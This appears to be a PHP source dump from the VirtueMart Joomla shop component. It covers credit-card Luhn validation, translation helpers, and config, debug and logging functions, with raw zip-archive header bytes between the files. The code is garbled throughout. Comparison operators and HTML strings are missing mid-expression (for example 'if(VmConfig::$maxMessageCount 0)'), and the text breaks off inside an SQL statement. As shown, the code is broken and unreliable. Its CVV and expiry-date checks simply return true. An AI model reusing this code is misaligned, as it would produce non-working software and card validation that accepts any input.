    '; $html .= $this->displayFoldersWriteAble(); $html .= $this->displayHidden(); // $html .= ''; return $html; } /** * child classes can add their own options and you can get them with this function * * @param array $optionsarray Allowed values are $this->_actions and $this->_attributes */ private function getOptions($optionsarray){ $options=array(); foreach($optionsarray as $optionName=>$langkey){ $options[] = JHTML::_('select.option', $optionName, JText::_( $langkey ) ); } return $options; } /** * Just for creating simpel rows * * @author Max Milbers * @param string $descr * @param string $name */ private function displayRow($descr, $name,$readonly=''){ $html = ' '.JText::_($descr).' '; return $html; } /** * renders the hiddenfields added in the layout before (used to make the displayFileHandle reusable) * @author Max Milbers */ private function displayHidden(){ $html=''; foreach($this->_hidden as $k=>$v){ $html .= ''; } return $html; } } PKB\&GHHhelpers/creditcard.phpnuW+Anumber = self::_strtonum($cardnum); /* if(!$this->detectType($this->number)) { $this->errno = CC_ETYPE; $d['error'] = $this->errno; return false; } */ if (empty($this->number) || !self::mod10($this->number)) { //JError::raiseWarning('', JText::_('COM_VIRTUEMART_CC_ENUMBER')); // $this->errno = CC_ENUMBER; // $d['error'] = $this->errno; return false; } return true; } /* * _strtonum private method * return formated string - only digits */ function _strtonum($string) { $nstr = ""; for ($i = 0; $i < strlen($string); $i++) { if (!is_numeric($string{$i})) continue; $nstr = "$nstr" . $string{$i}; } return $nstr; } /* * mod10 method - Luhn check digit algorithm * return 0 if true and !0 if false */ function mod10($card_number) { $digit_array = array(); $cnt = 0; //Reverse the card number $card_temp = strrev($card_number); //Multiple every other number by 2 then ( even placement ) //Add the digits and place in an array for ($i = 1; $i <= strlen($card_temp) - 1; $i = $i + 2) { //multiply every other digit by 2 $t = substr($card_temp, $i, 1); $t = $t * 2; //if there are more than one digit in the //result of multipling by two ex: 7 * 2 = 14 //then add the two digits together ex: 1 + 4 = 5 if (strlen($t) > 1) { //add the digits together $tmp = 0; //loop through the digits that resulted of //the multiplication by two above and add them //together for ($s = 0; $s < strlen($t); $s++) { $tmp = substr($t, $s, 1) + $tmp; } } else { // result of (* 2) is only one digit long $tmp = $t; } //place the result in an array for later //adding to the odd digits in the credit card number $digit_array [$cnt++] = $tmp; } $tmp = 0; //Add the numbers not doubled earlier ( odd placement ) for ($i = 0; $i <= strlen($card_temp); $i = $i + 2) { $tmp = substr($card_temp, $i, 1) + $tmp; } //Add the earlier doubled and digit-added numbers to the result $result = $tmp + array_sum($digit_array); //Check to make sure that the remainder //of dividing by 10 is 0 by using the modulas //operator return ($result % 10 == 0); } /* * validate_credit_card_cvv * The three- or four-digit number on the back of a credit card (on the front for American Express). * @author Valerie Isaksen */ static function validate_credit_card_cvv($creditcard_type, $cvv, $required = true) { if ($required and empty($cvv)) return false; return true; } /* * validate_credit_card_date * expiration date should be tested * @author Valerie Isaksen */ function validate_credit_card_date($creditcard_type, $month, $year) { return true; } } // pure php no closing tagPKB\{helpers/vmtext.phpnuW+Aalert(Joomla.vmText._('true));?>')); * will generate an alert message containing 'Default' * it will generate a 'Default' string * * @param string $string The string to translate. * @param mixed $jsSafe Boolean: Make the result javascript safe. * @param boolean $interpretBackSlashes To interpret backslashes (\\=\, \n=carriage return, \t=tabulation) * @param boolean $script To indicate that the string will be push in the javascript language store * * @return string The translated string or the key is $script is true * * @since 11.1 */ public static function _($string, $jsSafe = false, $interpretBackSlashes = true, $script = false) { $lang = JFactory::getLanguage(); if (is_array($jsSafe)) { if (array_key_exists('interpretBackSlashes', $jsSafe)) { $interpretBackSlashes = (boolean) $jsSafe['interpretBackSlashes']; } if (array_key_exists('script', $jsSafe)) { $script = (boolean) $jsSafe['script']; } if (array_key_exists('jsSafe', $jsSafe)) { $jsSafe = (boolean) $jsSafe['jsSafe']; } else { $jsSafe = false; } } if ($script) { self::$strings[$string] = $lang->_($string, $jsSafe, $interpretBackSlashes); return $string; } else { return $lang->_($string, $jsSafe, $interpretBackSlashes); } } /** * Passes a string thru a sprintf. * * Note that this method can take a mixed number of arguments as for the sprintf function. * * The last argument can take an array of options: * * array('jsSafe'=>boolean, 'interpretBackSlashes'=>boolean, 'script'=>boolean) * * where: * * jsSafe is a boolean to generate a javascript safe strings. * interpretBackSlashes is a boolean to interpret backslashes \\->\, \n->new line, \t->tabulation. * script is a boolean to indicate that the string will be push in the javascript language store. * * @param string $string The format string. * * @return string The translated strings or the key if 'script' is true in the array of options. * * @since 11.1 */ public static function sprintf($string) { $lang = JFactory::getLanguage(); $args = func_get_args(); $count = count($args); if ($count > 0) { if (is_array($args[$count - 1])) { $args[0] = $lang->_( $string, array_key_exists('jsSafe', $args[$count - 1]) ? $args[$count - 1]['jsSafe'] : false, array_key_exists('interpretBackSlashes', $args[$count - 1]) ? $args[$count - 1]['interpretBackSlashes'] : true ); if (array_key_exists('script', $args[$count - 1]) && $args[$count - 1]['script']) { self::$strings[$string] = call_user_func_array('sprintf', $args); return $string; } } else { $args[0] = $lang->_($string); } $args[0] = preg_replace('/\[\[%([0-9]+):[^\]]*\]\]/', '%\1$s', $args[0]); return call_user_func_array('sprintf', $args); } return ''; } }PKB\d7Hˈˈhelpers/config.phpnuW+A jQuery(); // for use of jQuery * Then always use the defined paths below to ensure future stability */ defined('DS') or define('DS', DIRECTORY_SEPARATOR); define( 'JPATH_VM_SITE', JPATH_ROOT.DS.'components'.DS.'com_virtuemart' ); defined('JPATH_VM_ADMINISTRATOR') or define('JPATH_VM_ADMINISTRATOR', JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'); // define( 'JPATH_VM_ADMINISTRATOR', JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart' ); define( 'JPATH_VM_PLUGINS', JPATH_VM_ADMINISTRATOR.DS.'plugins' ); define( 'JPATH_VM_MODULES', JPATH_ROOT.DS.'modules' ); if(version_compare(JVERSION,'1.7.0','ge')) { defined('JPATH_VM_LIBRARIES') or define ('JPATH_VM_LIBRARIES', JPATH_PLATFORM); defined('JVM_VERSION') or define ('JVM_VERSION', 2); } else { if (version_compare (JVERSION, '1.6.0', 'ge')) { defined ('JPATH_VM_LIBRARIES') or define ('JPATH_VM_LIBRARIES', JPATH_LIBRARIES); defined ('JVM_VERSION') or define ('JVM_VERSION', 2); } else { defined ('JPATH_VM_LIBRARIES') or define ('JPATH_VM_LIBRARIES', JPATH_LIBRARIES); defined ('JVM_VERSION') or define ('JVM_VERSION', 1); } } //This number is for obstruction, similar to the prefix jos_ of joomla it should be avoided //to use the standard 7, choose something else between 1 and 99, it is added to the ordernumber as counter // and must not be lowered. defined('VM_ORDER_OFFSET') or define('VM_ORDER_OFFSET',3); require(JPATH_VM_ADMINISTRATOR.DS.'version.php'); JTable::addIncludePath(JPATH_VM_ADMINISTRATOR.DS.'tables'); if (!class_exists ('VmModel')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmmodel.php'); } if(!class_exists('vRequest')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vrequest.php'); if(!class_exists('vmText')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmtext.php'); if(!class_exists('vmJsApi')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmjsapi.php'); /** * This function shows an info message, the messages gets translated with JText::, * you can overload the function, so that automatically sprintf is taken, when needed. * So this works vmInfo('COM_VIRTUEMART_MEDIA_NO_PATH_TYPE',$type,$link ) * and also vmInfo('COM_VIRTUEMART_MEDIA_NO_PATH_TYPE'); * * @author Max Milbers * @param string $publicdescr * @param string $value */ function vmInfo($publicdescr,$value=NULL){ $app = JFactory::getApplication(); $msg = ''; $type = 'info'; if(VmConfig::$maxMessageCount 0) { $args[0] = $lang->_($args[0]); $msg = call_user_func_array('sprintf', $args); } } else { // $app ->enqueueMessage('Info: '.JText::_($publicdescr)); //$publicdescr = $lang->_($publicdescr); $msg = JText::_($publicdescr); // debug_print_backtrace(); } } else { if (VmConfig::$maxMessageCount == VmConfig::$maxMessage) { $msg = 'Max messages reached'; $type = 'warning'; } else { return false; } } if(!empty($msg)){ VmConfig::$maxMessageCount++; $app ->enqueueMessage($msg,$type); } else { vmTrace('vmInfo Message empty '.$msg); } return $msg; } /** * Informations for the vendors or the administrators of the store, but not for developers like vmdebug * @param $publicdescr * @param null $value */ function vmAdminInfo($publicdescr,$value=NULL){ if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->isSuperVendor()){ $app = JFactory::getApplication(); if(VmConfig::$maxMessageCount 0) { $args[0] = $lang->_($args[0]); VmConfig::$maxMessageCount++; $app ->enqueueMessage(call_user_func_array('sprintf', $args),'info'); } } else { VmConfig::$maxMessageCount++; // $app ->enqueueMessage('Info: '.JText::_($publicdescr)); $publicdescr = $lang->_($publicdescr); $app ->enqueueMessage('Info: '.JText::_($publicdescr),'info'); // debug_print_backtrace(); } } else { if (VmConfig::$maxMessageCount == VmConfig::$maxMessage) { $app->enqueueMessage ('Max messages reached', 'info'); }else { return false; } } } } function vmWarn($publicdescr,$value=NULL){ $app = JFactory::getApplication(); $msg = ''; if(VmConfig::$maxMessageCount 0) { $args[0] = $lang->_($args[0]); $msg = call_user_func_array('sprintf', $args); } } else { // $app ->enqueueMessage('Info: '.JText::_($publicdescr)); $msg = $lang->_($publicdescr); //$app ->enqueueMessage('Info: '.$publicdescr,'warning'); // debug_print_backtrace(); } } else { if (VmConfig::$maxMessageCount == VmConfig::$maxMessage) { $msg = 'Max messages reached'; } else { return false; } } if(!empty($msg)){ VmConfig::$maxMessageCount++; $app ->enqueueMessage($msg,'warning'); return $msg; } else { vmTrace('vmWarn Message empty'); return false; } } /** * Shows an error message, sensible information should be only in the first one, the second one is for non BE users * @author Max Milbers */ function vmError($descr,$publicdescr=''){ $msg = ''; $lang = JFactory::getLanguage(); $descr = $lang->_($descr); $adminmsg = 'vmError: '.$descr; if (empty($descr)) { vmTrace ('vmError message empty'); return; } logInfo($adminmsg,'error'); if(VmConfig::$maxMessageCount< (VmConfig::$maxMessage+5)){ if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(Permissions::getInstance()->check('admin')){ $msg = $adminmsg; } else { if(!empty($publicdescr)){ $msg = $lang->_($publicdescr); } } } else { if (VmConfig::$maxMessageCount == (VmConfig::$maxMessage+5)) { $msg = 'Max messages reached'; } else { return false; } } if(!empty($msg)){ VmConfig::$maxMessageCount++; $app = JFactory::getApplication(); $app ->enqueueMessage($msg,'error'); return $msg; } return $msg; } /** * A debug dumper for VM, it is only shown to backend users. * * @author Max Milbers * @param unknown_type $descr * @param unknown_type $values */ function vmdebug($debugdescr,$debugvalues=NULL){ if(VMConfig::showDebug() ){ $app = JFactory::getApplication(); if(VmConfig::$maxMessageCount'.print_r(get_class_methods($debugvalues),1).'
    '; $args = func_get_args(); if (count($args) > 1) { // foreach($args as $debugvalue){ for($i=1;$i'.print_r($args[$i],1).'
    '.print_r(get_class_methods($args[$i]),1).'
'; } } } } if(VmConfig::$echoDebug){ VmConfig::$maxMessageCount++; echo $debugdescr; } else if(VmConfig::$logDebug){ logInfo($debugdescr,'vmdebug'); }else { VmConfig::$maxMessageCount++; $app = JFactory::getApplication(); $app ->enqueueMessage('vmdebug '.$debugdescr.''); } } else { if (VmConfig::$maxMessageCount == VmConfig::$maxMessage) { $app->enqueueMessage ('Max messages reached', 'info'); } } } } function vmTrace($notice,$force=FALSE){ if($force || (VMConfig::showDebug() ) ){ //$app = JFactory::getApplication(); // ob_start(); echo '
';
		debug_print_backtrace();
		echo '
'; $body = ob_get_contents(); ob_end_clean(); if(VmConfig::$echoDebug){ echo $notice.'
'.$body.'
'; } else if(VmConfig::$logDebug){ logInfo($body,$notice); } else { $app = JFactory::getApplication(); $app ->enqueueMessage($notice.' '.$body.' '); } } } function vmRam($notice,$value=NULL){ vmdebug($notice.' used Ram '.round(memory_get_usage(TRUE)/(1024*1024),2).'M ',$value); } function vmRamPeak($notice,$value=NULL){ vmdebug($notice.' memory peak '.round(memory_get_peak_usage(TRUE)/(1024*1024),2).'M ',$value); } function vmSetStartTime($name='current'){ VmConfig::setStartTime($name, microtime(TRUE)); } function vmTime($descr,$name='current'){ if (empty($descr)) { $descr = $name; } $starttime = VmConfig::$_starttime ; if(empty($starttime[$name])){ vmdebug('vmTime: '.$descr.' starting '.microtime(TRUE)); VmConfig::$_starttime[$name] = microtime(TRUE); } else { if ($name == 'current') { vmdebug ('vmTime: ' . $descr . ' time consumed ' . (microtime (TRUE) - $starttime[$name])); VmConfig::$_starttime[$name] = microtime (TRUE); } else { if (empty($descr)) { $descr = $name; } $tmp = 'vmTime: ' . $descr . ': ' . (microtime (TRUE) - $starttime[$name]); vmdebug ($tmp); } } } /** * logInfo * to help debugging Payment notification for example */ function logInfo ($text, $type = 'message') { jimport('joomla.filesystem.file'); $config = JFactory::getConfig(); $log_path = $config->get('log_path', JPATH_ROOT . "/log" ); $file = $log_path . "/" . VmConfig::$logFileName . VmConfig::LOGFILEEXT; if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(Permissions::getInstance()->check('admin')){ $show_error_msg = TRUE; } else { $show_error_msg = FALSE; } if (!is_dir($log_path)) { jimport('joomla.filesystem.folder'); if (!JFolder::create($log_path)) { if ($show_error_msg){ $msg = 'Could not create path ' . $log_path . ' to store log information. Check your folder ' . $log_path . ' permissions.'; $app = JFactory::getApplication(); $app->enqueueMessage($msg, 'error'); } return; } } if (!is_writable($log_path)) { if ($show_error_msg){ $msg = 'Path ' . $log_path . ' to store log information is not writable. Check your folder ' . $log_path . ' permissions.'; $app = JFactory::getApplication(); $app->enqueueMessage($msg, 'error'); } return; } // Initialise variables. $FTPOptions = JClientHelper::getCredentials('ftp'); $head = false; $fsize = false; $amount = 32768; $offset = 0; if (!JFile::exists($file)) { // blank line to prevent information disclose: https://bugs.php.net/bug.php?id=60677 // from Joomla log file $head = "#\n"; $head .= '#'."\n"; } else { $fsize = @ filesize($file); if($FTPOptions['enabled']){ $maxSizeLogFile = 32768; //32kb } else { $maxSizeLogFile = 524288;//1048576; //1MB } if($fsize and $fsize>$maxSizeLogFile){ $disk_free_space = disk_free_space($log_path); if($disk_free_spacetoFormat ('%Y-%m-%d_%H-%M') . VmConfig::LOGFILEEXT; JFile::move($file,$fileRename); $head = "#\n"; $head .= '#'."\n"; } } } if ($FTPOptions['enabled'] == 0){ static $fp; $fp = fopen ($file, 'a+'); if(!empty($offset)){ //not a good solution yet, we just delete the ending and add the other stuff again. ftruncate($fp,$offset); } if ($fp) { if ($head) { fwrite ($fp, $head); } fwrite ($fp, "\n" . JFactory::getDate()->toFormat ('%Y-%m-%d %H:%M:%S')); fwrite ($fp, " ".strtoupper($type) . ' ' . $text); fclose ($fp); } else { if ($show_error_msg){ $msg = 'Could not write in file ' . $file . ' to store log information. Check your file ' . $file . ' permissions.'; $app = JFactory::getApplication(); $app->enqueueMessage($msg, 'error'); } } } else { $buffer = JFile::read($file,false,$amount,8192,$offset); if ($head) { $buffer .= $head; } //This can make trouble if people use FTP and get a lot errors. We strongly recommened to get a hosting which works without the FTP help construction $buffer .= "\n" . JFactory::getDate()->toFormat('%Y-%m-%d %H:%M:%S'); $buffer .= " " . strtoupper($type) . ' ' . $text; if (!JFile::write($file, $buffer)) { if ($show_error_msg){ $msg = 'Could not write in file ' . $file . ' to store log information. Check your file ' . $file . ' permissions.'; $app = JFactory::getApplication(); $app->enqueueMessage($msg, 'error'); } return; } } return; } /** * The time how long the config in the session is valid. * While configuring the store, you should lower the time to 10 seconds. * Later in a big store it maybe useful to rise this time up to 1 hr. * That would mean that changing something in the config can take up to 1 hour until this change is effecting the shoppers. */ /** * We use this Class STATIC not dynamically ! */ class VmConfig { // instance of class private static $_jpConfig = NULL; public static $_debug = NULL; public static $_starttime = array(); public static $loaded = FALSE; public static $maxMessageCount = 0; public static $maxMessage = 100; public static $echoDebug = FALSE; public static $logDebug = FALSE; public static $logFileName = 'com_virtuemart'; const LOGFILEEXT = '.log.php'; public static $lang = FALSE; public static $vmlang = FALSE; public static $langTag = FALSE; public static $vmlangTag = FALSE; public static $langCount = 0; var $_params = array(); var $_raw = array(); private function __construct() { if(function_exists('mb_ereg_replace')){ mb_regex_encoding('UTF-8'); mb_internal_encoding('UTF-8'); } //if(ini_get('precision')!=15){ ini_set('precision', 15); //We need at least 20 for correct precision if json is using a bigInt ids //But 17 has the best precision, using higher precision adds fantasy numbers to the end //} } static function getStartTime(){ return self::$_starttime; } static function setStartTime($name,$value){ self::$_starttime[$name] = $value; } static function showDebug(){ if(self::$_debug===NULL){ $debug = VmConfig::get('debug_enable','none'); //$debug = 'all'; //this is only needed, when you want to debug THIS file // 1 show debug only to admins if($debug === 'admin' ){ if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(Permissions::getInstance()->check('admin')){ self::$_debug = TRUE; } else { self::$_debug = FALSE; } } // 2 show debug to anyone else { if ($debug === 'all') { self::$_debug = TRUE; } // else dont show debug else { self::$_debug = FALSE; } } if(self::$_debug){ ini_set('display_errors', '1'); //error_reporting(E_ALL ^ E_STRICT); } else { ini_set('display_errors', '0'); if(version_compare(phpversion(),'5.4.0','<' )){ error_reporting( E_ALL & ~E_STRICT ); } else { error_reporting( E_ALL ^ E_STRICT ); } } } //$nu = $ha; return self::$_debug; } /** * Ensures a certain Memory limit for php (if server supports it) * @author Max Milbers * @param int $minMemory */ static function ensureMemoryLimit($minMemory=0){ if($minMemory === 0) $minMemory = VmConfig::get('minMemory','128M'); $memory_limit = VmConfig::getMemoryLimit(); if($memory_limit<$minMemory) @ini_set( 'memory_limit', $minMemory.'M' ); } /** * Returns the PHP memory limit of the server in MB, regardless the used unit * @author Max Milbers * @return float|int PHP memory limit in MB */ static function getMemoryLimit(){ $iniValue = ini_get('memory_limit'); if($iniValue<=0) return 2048; //We assume 2048MB as unlimited setting $iniValue = strtoupper($iniValue); if(strpos($iniValue,'M')!==FALSE){ $memory_limit = (int) substr($iniValue,0,-1); } else if(strpos($iniValue,'K')!==FALSE){ $memory_limit = (int) substr($iniValue,0,-1) / 1024.0; } else if(strpos($iniValue,'G')!==FALSE){ $memory_limit = (int) substr($iniValue,0,-1) * 1024.0; } else { $memory_limit = (int) $iniValue / 1048576.0; } return $memory_limit; } static function ensureExecutionTime($minTime=0){ if($minTime === 0) $minTime = (int) VmConfig::get('minTime',120); $max_execution_time = self::getExecutionTime(); if((int)$max_execution_time<$minTime) { @ini_set( 'max_execution_time', $minTime ); } } static function getExecutionTime(){ $max_execution_time = (int) ini_get('max_execution_time'); if(empty($max_execution_time)){ $max_execution_time = (int) VmConfig::get('minTime',120); } return $max_execution_time; } /** * loads a language file, the trick for us is that always the config option enableEnglish is tested * and the path are already set and the correct order is used * We use first the english language, then the default * * @author Max Milbers * @static * @param $name * @return bool */ static public function loadJLang($name,$site=false,$tag=0){ $jlang =JFactory::getLanguage(); if(empty($tag))$tag = $jlang->getTag(); $path = $basePath = JPATH_VM_ADMINISTRATOR; if($site){ $path = $basePath = JPATH_VM_SITE; } if(VmConfig::get('enableEnglish', true) and $tag!='en-GB'){ $testpath = $basePath.DS.'language'.DS.'en-GB'.DS.'en-GB.'.$name.'.ini'; if(!file_exists($testpath)){ $epath = JPATH_ADMINISTRATOR; if($site){ $epath = JPATH_SITE; } } else { $epath = $path; } $jlang->load($name, $epath, 'en-GB'); } $testpath = $basePath.DS.'language'.DS.$tag.DS.$tag.'.'.$name.'.ini'; if(!file_exists($testpath)){ $path = JPATH_ADMINISTRATOR; if($site){ $path = JPATH_SITE; } } $jlang->load($name, $path,$tag,true); return $jlang; } /** * @static * @author Valerie Isaksen * @param $name */ static public function loadModJLang($name){ $jlang =JFactory::getLanguage(); $tag = $jlang->getTag(); $path = $basePath = JPATH_VM_MODULES.DS.$name; if(VmConfig::get('enableEnglish', true) and $tag!='en-GB'){ $testpath = $basePath.DS.'language'.DS.'en-GB'.DS.'en-GB.'.$name.'.ini'; if(!file_exists($testpath)){ $path = JPATH_ADMINISTRATOR; } $jlang->load($name, $path, 'en-GB'); } $testpath = $basePath.DS.'language'.DS.$tag.DS.$tag.'.'.$name.'.ini'; if(!file_exists($testpath)){ $path = JPATH_ADMINISTRATOR; } $jlang->load($name, $path,$tag,true); } /** * Loads the configuration and works as singleton therefore called static. The call using the program cache * is 10 times faster then taking from the session. The session is still approx. 30 times faster then using the file. * The db is 10 times slower then the session. * * Performance: * * Fastest is * Program Cache: 1.5974044799805E-5 * Session Cache: 0.00016094612121582 * * First config db load: 0.00052118301391602 * Parsed and in session: 0.001554012298584 * * After install from file: 0.0040450096130371 * Parsed and in session: 0.0051419734954834 * * * Functions tests if already loaded in program cache, session cache, database and at last the file. * * Load the configuration values from the database into a session variable. * This step is done to prevent accessing the database for every configuration variable lookup. * * @author Max Milbers * @param $force boolean Forces the function to load the config from the db */ static public function loadConfig($force = FALSE,$fresh = FALSE) { if($fresh){ return self::$_jpConfig = new VmConfig(); } vmSetStartTime('loadConfig'); if(!$force){ if(!empty(self::$_jpConfig) && !empty(self::$_jpConfig->_params)){ return self::$_jpConfig; } } self::$_jpConfig = new VmConfig(); if(!class_exists('VirtueMartModelConfig')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'config.php'); $configTable = VirtueMartModelConfig::checkConfigTableExists(); $db = JFactory::getDBO(); $app = JFactory::getApplication(); $freshInstall = vRequest::getInt('install',false); if(empty($configTable) or $freshInstall){ if(!$freshInstall){ $installed = VirtueMartModelConfig::checkVirtuemartInstalled(); if(!$installed){ $jlang =JFactory::getLanguage(); $selectedLang = $jlang->getTag(); if(empty($selectedLang)){ $selectedLang = $jlang->setLanguage($selectedLang); } $msg = ''; $q = 'SELECT `element` FROM `#__extensions` WHERE type = "language" and enabled = "1"'; $db->setQuery($q); $knownLangs = $db->loadColumn(); //vmdebug('Selected language '.$selectedLang.' $knownLangs ',$knownLangs); if($app->isAdmin() and !in_array($selectedLang,$knownLangs)){ $link = 'index.php?option=com_installer&view=languages'; $msg = 'Install your selected language '.$selectedLang.' first in joomla language manager, just select then the component VirtueMart under menu "component", to proceed with the installation '; $app->enqueueMessage($msg); } //else { if($app->isSite()){ $link = 'index.php?option=com_virtuemart'; } else { $link = 'index.php?option=com_virtuemart&view=updatesmigration&install=1'; $msg = 'Install Virtuemart first, click on the menu component and select VirtueMart'; } if($app->isSite()){ $link = JURI::root(true).'/administrator/'.$link; } $app->redirect($link,$msg); //} } if($installed){ self::$_jpConfig->installVMconfig(); } } else { self::$_jpConfig->installVMconfig($freshInstall); } } $install = 'no'; if(empty(self::$_jpConfig->_raw)){ $query = ' SELECT `config` FROM `#__virtuemart_configs` WHERE `virtuemart_config_id` = "1";'; $db->setQuery($query); self::$_jpConfig->_raw = $db->loadResult(); if(empty(self::$_jpConfig->_raw)){ if(self::installVMconfig($freshInstall)){ $install = 'yes'; $db->setQuery($query); self::$_jpConfig->_raw = $db->loadResult(); self::$_jpConfig->_params = NULL; } else { $app ->enqueueMessage('Error loading configuration file','Error loading configuration file, please contact the storeowner'); } } } $i = 0; $pair = array(); if (!empty(self::$_jpConfig->_raw)) { $config = explode('|', self::$_jpConfig->_raw); foreach($config as $item){ $item = explode('=',$item); if(!empty($item[1])){ // if($item[0]!=='offline_message' && $item[0]!=='dateformat' ){ if($item[0]!=='offline_message' ){ try { $value = @unserialize($item[1] ); if($value===FALSE){ $app ->enqueueMessage('Exception in loadConfig for unserialize '.$item[0]. ' '.$item[1]); $uri = JFactory::getURI(); $configlink = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config'; $app ->enqueueMessage('To avoid this message, enter your virtuemart config and just save it one time'); } else { $pair[$item[0]] = $value; } }catch (Exception $e) { vmdebug('Exception in loadConfig for unserialize '. $e->getMessage(),$item); } } else { $pair[$item[0]] = unserialize(base64_decode($item[1]) ); } } else { $pair[$item[0]] =''; } } // $pair['sctime'] = microtime(true); self::$_jpConfig->_params = $pair; self::$_jpConfig->_params['sctime'] = microtime(TRUE); //self::$_jpConfig->set('sctime',microtime(TRUE)); //self::setdbLanguageTag(); self::$_jpConfig->_params['vmlang'] = self::setdbLanguageTag(); vmTime('loadConfig db '.$install,'loadConfig'); return self::$_jpConfig; } $app ->enqueueMessage('Attention config is empty'); return self::$_jpConfig; } /* * Set defaut language tag for translatable table * * @author Max Milbers * @return string valid langtag */ static public function setdbLanguageTag() { if (self::$lang) { return self::$lang; } $langs = (array)self::get('active_languages',array()); self::$langCount = count($langs); $siteLang = JRequest::getString('vmlang',FALSE ); //vmdebug('My $siteLang by JRequest::getString("vmlang",JRequest::getString("lang")) '.$siteLang); $params = JComponentHelper::getParams('com_languages'); $defaultLang = $params->get('site', 'en-GB');//use default joomla if( JFactory::getApplication()->isSite()){ if (!$siteLang) { if ( JVM_VERSION===1 ) { // try to find in session lang // this work with joomfish j1.5 (application.data.lang) $session =JFactory::getSession(); $registry = $session->get('registry'); $siteLang = $registry->getValue('application.data.lang') ; } else { jimport('joomla.language.helper'); $siteLang = JFactory::getLanguage()->getTag(); vmdebug('My selected language by JFactory::getLanguage()->getTag() '.$siteLang); } } } else { if(!$siteLang){ $siteLang = $defaultLang; } } if(!in_array($siteLang, $langs)) { if(count($langs)===0){ $siteLang = $defaultLang; } else { $siteLang = $langs[0]; } } self::$vmlangTag = self::$langTag = $siteLang; self::$vmlang = self::$lang = strtolower(strtr($siteLang,'-','_')); vmdebug('$siteLang: '.$siteLang.' self::$_jpConfig->lang '.self::$lang); defined('VMLANG') or define('VMLANG', self::$lang ); return self::$lang; } /** * Find the configuration value for a given key * * @author Max Milbers * @param string $key Key name to lookup * @return Value for the given key name */ static function get($key, $default='',$allow_load=FALSE) { $value = ''; if ($key) { if (empty(self::$_jpConfig->_params) && $allow_load) { self::loadConfig(); } if (!empty(self::$_jpConfig->_params)) { if(array_key_exists($key,self::$_jpConfig->_params) && isset(self::$_jpConfig->_params[$key])){ $value = self::$_jpConfig->_params[$key]; } else { $value = $default; } } else { $value = $default; } } else { $app = JFactory::getApplication(); $app -> enqueueMessage('VmConfig get, empty key given'); } return $value; } static function set($key, $value){ if (empty(self::$_jpConfig->_params)) { self::loadConfig(); } if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(Permissions::getInstance()->check('admin')){ if (!empty(self::$_jpConfig->_params)) { self::$_jpConfig->_params[$key] = $value; } } } /** * For setting params, needs assoc array * @author Max Milbers */ function setParams($params,$replace=FALSE){ if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(Permissions::getInstance()->check('admin')){ //The idea with the merge was that 3rd party use the config to store stuff there, //But we doubt that anyone does it, because the vm team itself never uses it. //To avoid errors like unserialize hidemainmenu b:0;, we just replace now the config with the data, //Hmm does not work, because people may use config values, not in the config form unset($this->_params['hidemainmenu']); unset($this->_params['pdf_invoice']); // parameter remove and replaced by inv_os unset($this->_params['list_limit']); unset($this->_params['pagination_sequence']); if($replace){ self::$_jpConfig->_params = $params; } else { self::$_jpConfig->_params = array_merge($this->_params,$params); } //self::$_jpConfig->_params = $params; } } /** * Writes the params as string and escape them before * @author Max Milbers */ function toString(){ $raw = ''; $db = JFactory::getDBO(); jimport( 'joomla.utilities.arrayhelper' ); foreach(self::$_jpConfig->_params as $paramkey => $value){ //Texts get broken, when serialized, therefore we do a simple encoding, //btw we need serialize for storing arrays note by Max Milbers // if($paramkey!=='offline_message' && $paramkey!=='dateformat'){ if($paramkey!=='offline_message'){ $raw .= $paramkey.'='.serialize($value).'|'; } else { $raw .= $paramkey.'='.base64_encode(serialize($value)).'|'; } } self::$_jpConfig->_raw = substr($raw,0,-1); return self::$_jpConfig->_raw; } /** * Find the currenlty installed version * * @author RickG * @param boolean $includeDevStatus True to include the development status * @return String of the currently installed version */ static function getInstalledVersion($includeDevStatus=FALSE) { // Get the installed version from the wmVersion class. return vmVersion::$RELEASE; } /** * Return if the used joomla function is j15 * @deprecated use JVM_VERSION instead */ function isJ15(){ return (strpos(JVERSION,'1.5') === 0); } function getCreateConfigTableQuery(){ return "CREATE TABLE IF NOT EXISTS `#__virtuemart_configs` ( `virtuemart_config_id` tinyint(1) unsigned NOT NULL AUTO_INCREMENT, `config` text, `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT 0, `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT 0, `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT 0, PRIMARY KEY (`virtuemart_config_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Holds configuration settings' AUTO_INCREMENT=1 ;"; } /** * Read the file vm_config.dat from the install directory, compose the SQL to write * the config record and store it to the dabase. * * @param $_section Section from the virtuemart_defaults.cfg file to be parsed. Currently, only 'config' is implemented * @return Boolean; true on success, false otherwise * @author Oscar van Eijk */ public function installVMconfig($freshInstall=false){ $_value = self::readConfigFile(FALSE,$freshInstall); if (!$_value) { return FALSE; } $_value = join('|', $_value); self::$_jpConfig->_raw = $_value; if($freshInstall){ return true; } $qry = self::$_jpConfig->getCreateConfigTableQuery(); $_db = JFactory::getDBO(); $_db->setQuery($qry); $_db->query(); $query = 'SELECT `virtuemart_config_id` FROM `#__virtuemart_configs` WHERE `virtuemart_config_id` = 1'; $_db->setQuery( $query ); if ($_db->query()){ $qry = 'DELETE FROM 